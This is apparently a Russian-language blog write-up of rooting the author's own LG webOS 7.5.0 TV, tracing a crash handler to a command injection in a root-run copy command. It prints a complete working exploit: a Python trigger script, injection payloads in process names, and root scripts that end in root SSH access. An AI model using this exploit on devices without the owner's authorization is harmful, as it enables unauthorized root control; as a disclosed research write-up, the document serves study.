7 мин на чтение

Как известно, красота требует жертв, и мой телевизор знает об этом не понаслышке. Сегодня будем рутать LG webOS 7.5.0 (firmware 04.50.63 от ноября 2024). cover

Disclaimer: я не считаю рутание собственного, не подписочного устройства порицаемым и в целом проблемой безопастности.

Так уж вышло, что большая часть производителей потребительских устройств не хочет продавать тебе только железо (на нем сложно зарабатывать), а хочет продавать железо+софт и активно ставит палки в колеса тем, кто просто хочет немного улучшить его по собственному разумению. Благо LG делает не только отличные телевизоры, но и имеет богатую историю рутания webOS :)

Обновление от 06.01.2025

Чуть подумав решил немного покапитанить:

  • моё дело поделить информацией, как вы будете ей распоряжаться - ваше дело. Хотел помочь таким же желающим получить ambilight на своём телевизоре (единственный смысл рутания LG TV imho)
  • стоило, конечно, дождаться фиксов перед публикацией - но там у меня глупая история %)
  • если вы хотите порутать свой телевизор LG - воспользуйтесь faultmanager-autoroot, а не этим постом

Into

А собсно зачем? Как-то я загорелся идеей замутить ambient light для своего телевизора. Благо у меня LG, для которого написан PicCap - это такой грабер HDMI картинки для hyperion.ng прям в вашем телевизоре. Да-да, DIY ambient light без HDMI сплиттеров, карт захвата и прочего барахла. Разве не красота? Красота подумал я и был огорчен:

What do you need?

  • Root access to your TV

Ожидаемо, иду смотреть версию своего камина для гостинной - 04.50.63: cover

Последняя на начало 2025. Люблю обновляться ^^. Это, правда, обычно не очень дружит с рутанием - так и случилось. Захожу на cani.rootmy.tv, ввожу свою модель и вижу, что все известное уже должно быть попатчено: cover

Ну что ж, деваться некуда - придется искать что-то неизвестное :)

Включаю Developer mode и Key Server: cover

Стягиваю ключ для подключения к тюремному SSH и для удобства добавляю его в конфиг:

% openssl rsa -in <(curl -s http://10.0.97.1:9991/webos_rsa) > ~/.ssh/webos_rsa && chmod 600 ~/.ssh/webos_rsa
Enter pass phrase for /proc/self/fd/11:
writing RSA key
mode of '/home/buglloc/.ssh/webos_rsa' retained as 0600 (rw-------)

% grep -A8 'Host tv' ~/.ssh/config
Host tv
  hostname 10.0.97.1
  Port 9922
  User prisoner
  HostKeyAlgorithms +ssh-rsa
  PubkeyAcceptedKeyTypes +ssh-rsa
  IdentityFile ~/.ssh/webos_rsa
  IdentitiesOnly yes

% ssh tv
~ $ hostname
LGtv
~ $ id
uid=5645(prisoner) gid=5000 groups=29(audio),44(video),505(compositor),509(se),777(crashd)

Скачиваю с офф. сайта нужную прошивку (раздают для ручного обновления с флешки) и распаковываю с помощью epk2extract. Самое время изучать потрошки ;)

К потрошкам

Зайдя по SSH, первым делом смотрю в конфиг jail (вот полный) и в частности на то, что монтируется в rw:

% cat jail_app.conf| grep -oP 'mount rw.*'          
mount rw /tmp
mount rw /proc
mount rw /var/run/pulse
mount rw /var/run/luna-service2
mount rw /dev/snd
mount rw /dev/shm
mount rw /dev/pts
mount rw /tmp/dbgfrwk
mount rw /var/run
mount rw /dev/lg
mount rw /mnt/lg/ciplus/authcxt
mount rw /media/developer

Не густо, но это знание нам еще пригодится. Дальше был какой-то небольшой рисеч на тему не торчит ли чего интересного в /tmp, /var/run, что с nosuid и т.д. - все тщетно (или я плохо искал). Но отчаиваться не в наших правилах - ведь если запустить strace для любого бинаря, видно что прелоадится какая-то бибка:

~ $ strace -f -e openat ls 2>&1 | head   
openat(AT_FDCWD, "/etc/ld.so.preload", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/libSegFault.so", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 3

Это уже интересно, зачем подсовывать какую-то либу для сбора сегфолтов? Может там есть какое-то взаимодействие с “внешним” миром? Закидываю сошку (вот она) в Ghidra - точно, так и есть! Если упростить, то она делает следующее:

  • зачитывает переменную окружения SEGFAULT_SIGNALS, где может быть перечислен нужный набор сигналов для отлова
  • вешает свой кастомный sigaction_handler
  • при его вызове:
    • вызывает сисколл номер 224 (gettid под arm - см. arm.syscall.sh)
    • подключается к UDS /tmp/remotelogger
    • пуляет в него 132 байта, из которых первые 4 - тот самый tid
    • дальше делает какие-то скучные дела

Запускаю sleep под strace, отправляю ему SIGILL и хоба:

--- SIGILL {si_signo=SIGILL, si_code=SI_USER, si_pid=4450, si_uid=5645} ---
gettid()                                = 4642
socket(PF_FILE, SOCK_STREAM, 0)         = 3
connect(3, {sa_family=AF_FILE, sun_path="/tmp/remotelogger"}, 20) = 0
write(3, "\"\22\0\0\4\0\0\0\0\0\0\0\0\0\0\0b\21\0\0\r\26\0\0\0\0\0\0\0\0\0\0"..., 132) = 132
read(3, 0xf785ab70, 4)                  = ? ERESTARTSYS (To be restarted if SA_RESTART is set)
--- SIGCONT {si_signo=SIGCONT, si_code=SI_USER, si_pid=252, si_uid=0} ---
read(3, "", 4)                          = 0
close(3)                                = 0

Ага, так и есть - взяли tid, сходили в UDS, отправили его в little-endian, и наш процесс пришел трейсить рут. Все интереснее и интереснее! Закидываю remotelogger из прошивки в Гидру, читаю по верхам:

  • приняли коннект
  • получили pid подключившегося процесса с помощью SO_PEERCRED
  • попарсили tid из запроса
  • проверили, что переданный tid относится к pid клиента, сходив в /proc/<pid>/task/<tid>
  • начали трейсить и почитали comm процесса
  • записали крашдамп в /var/log/crashd/<comm>.<tid>

Вот и path traversal, подумал я! Пишу небольшой скриптец для игр:

import socket
import time
import struct
import sys
import os
import threading
import ctypes
from ctypes.util import find_library
libc = ctypes.CDLL(find_library('c'))

def set_proc_name(name):
    libc.prctl(15, ctypes.c_char_p(name), 0, 0, 0)

proc_name = "blah-blah"
if len(sys.argv) > 1:
    proc_name = sys.argv[1]

set_proc_name(proc_name.encode("UTF-8"))

x = threading.Thread(target=time.sleep, args=(8600,))
x.start()

with socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) as s:
    s.connect("/tmp/remotelogger")
    print("send")
    s.sendall(struct.pack('<L', x.native_id) + b'A'*0x80)
    print("recv")
    data = s.recv(4)
    print("kill")
    os.kill(x.native_id, 0x4)

Закидываю на телевизор. Запускаю:

~ $ python3 /tmp/remote_trigger.py "../../../tmp/la"
send
recv
kill
Illegal instruction
~ $ ls -la /tmp/la*
ls: /tmp/la*: No such file or directory
~ $ 

И ничего :( Может я чего упустил или не дочитал… Как бы то ни было, это дало другую подсказку - какие-то запчасти faultmanager перекладывают наш крашдамп по пути, в котором содержится путь к точке падения и имя процесса:

~ $ python3 /tmp/remote_trigger.py "blah"
send
recv
kill
Illegal instruction
~ $ ls -la /tmp/faultmanager/crash
total 8
drwxr-xr-x    2 root     root            60 Jan  4 13:57 .
drwxr-xr-x    7 root     root           140 Jan  4 13:57 ..
-rw-r--r--    1 root     root          6453 Jan  4 13:57 RDXD_blah__Linux Crash: blah crashes at location Unknown____blah.1345.pUuoij.gz

А учитывая, что с crashd уже были проблемы - это может быть интересно, проверяем:

~ $ python3 /tmp/remote_trigger.py '";blah'
send
recv
kill
Illegal instruction
~ $ ls -la /tmp/faultmanager/crash/
total 12
drwxr-xr-x    2 root     root            80 Jan  4 14:00 .
drwxr-xr-x    7 root     root           140 Jan  4 14:00 ..
-rw-r--r--    1 root     root           469 Jan  4 14:00 RDXD_?;blah__Linux Crash: ?;blah crashes at location ?var?palm?jail?com.palm.devmode.openssh?lib?libc-2.31.so (__libc_do_syscall+0x3) [0xf7c87e24]____?;blah.1671.TXMDEh.gz
-rw-r--r--    1 root     root          6453 Jan  4 13:57 RDXD_blah__Linux Crash: blah crashes at location Unknown____blah.1345.pUuoij.gz

Надеюсь, коллеги умеют санитайзить аргументы для баша. Правда ведь? Проверяем:

~ $ python3 /tmp/remote_trigger.py '$(sleep 8989)'
send
recv
kill
[1]+  Stopped (signal)           python3 /tmp/remote_trigger.py "\$(sleep 8989)"
~ $ ps aux | grep 8989
root      1846  0.0  0.0   4324   708 ?        S    14:02   0:00 sh -c cp "/tmp/var/log/reports/librdx/RDXD_$(sleep 8989)__Linux Crash: $(sleep 8989) crashes at location .var.palm.jail.com.palm.devmode.openssh.lib.libc-2.31.so (__libc_do_syscall+0x3) [0xf784fe24]____$(sleep 8989).1784.FgeWmk.gz" /tmp/faultmanager/crash
root      1848  0.0  0.0   4324   448 ?        S    14:02   0:00 sleep 8989
prisoner  1860  0.0  0.0   4324   712 pts/2    S+   14:02   0:00 grep 8989
[1]+  Illegal instruction        python3 /tmp/remote_trigger.py "\$(sleep 8989)"

Не похоже! Осталось дело за малым - уместиться в 15 байт нагрузки и не использовать / в команде. Об ограничении в 15 байт можно не думать, если разместить пейлоад в пути к месту падения - но я человек ленивый. Потому выбрал такой план:

  • закидываем скрипт, который выполнит рут, в /tmp (вот знание о маунте и пригодилось)
  • находим подходящую переменную окружения (/etc/systemd/system.conf.d/30-webos-global.conf из прошивки):
    DefaultEnvironment=XDG_DIR=/tmp/xdg
    DefaultEnvironment=XDG_RUNTIME_DIR=/tmp/xdg
    

Собираем все воедино:

# готовим скрипт для исполнения рутом
~ $ cat << 'EOF' > /tmp/xdg_e
#!/bin/sh

date > /tmp/pwned
id >> /tmp/pwned
echo nope
EOF
~ $ chmod +x /tmp/xdg_e

# запускаем
~ $ python3 /tmp/remote_trigger.py '$(${XDG_DIR}_e)'
send
recv
kill
Illegal instruction
~ $ cat /tmp/pwned 
Sat Jan  4 14:16:02 +07 2025
uid=0(root) gid=0(root)

Это ли не успех! Если не нравится питонячка - можно сократить (всю полезную работу сделает libSegFault.so):

~ $ id
uid=5645(prisoner) gid=5000 groups=29(audio),44(video),505(compositor),509(se),777(crashd)
~ $ cat << 'EOF' > /tmp/xdgxx
#!/bin/sh

date > /tmp/pwned
id >> /tmp/pwned
EOF
~ $ chmod +x /tmp/xdgxx
~ $ ln -sf /usr/bin/python3 '/tmp/$(${XDG_DIR}xx)'
~ $ '/tmp/$(${XDG_DIR}xx)' -c 'import os; os.kill(os.getpid(), 0x4)'
Illegal instruction

~ $ cat /tmp/pwned
Sat Jan  4 14:18:06 +07 2025
uid=0(root) gid=0(root)

Дальше дело за малым - поправить скрипт для повышения привелегий homebrew и запустить его от рута:

~ $ cat << 'EOF' > /tmp/xdg_e
#!/bin/sh

exec 2>&1 1>/tmp/homebrew.log

/media/developer/apps/usr/palm/services/org.webosbrew.hbchannel.service/elevate-service
cp /media/developer/apps/usr/palm/services/org.webosbrew.hbchannel.service/startup.sh /var/lib/webosbrew/startup.sh

exit 0
EOF

~ $ python3 /tmp/remote_trigger.py '$(${XDG_DIR}_e)'
send
recv
kill
Illegal instruction
~ $ 

Перезагружаемся и та-дам - homebrew с рутом. Осталось включить sshd и закинуть ключик руту: cover

Пробуем:

% ssh 10.0.97.1 -l root
NEVER EVER OVERWRITE SYSTEM PARTITIONS LIKE KERNEL, ROOTFS, TVSERVICE.
Your TV will be bricked, guaranteed! See https://rootmy.tv/warning for more info.
root@LGtv:~# 

П-О-Б-Е-Д-А!

Closure

Телевизоры я еще не рутал, было забавно. Тут, конечно, очень помогло, что webOS - линукс во плоти, а это старый друг :) На всякий случай напишу банальное, но важное - делайте все ради фана, на свой страх&&риск, только со своей железкой и в присутствии взрослых. Я же письмо на product.security@lge.com отправил, считаю что моя совесть чиста.

Кстати, PicCap поставил, но толком не пробовал - самое время заказывать нужные запчасти для подсветки, и тогда уж проверять, так что еще встретимся.

А пока у меня все, всем кота (づ˶•༝•˶)づ♡

Разделы: ,

Дата изменения: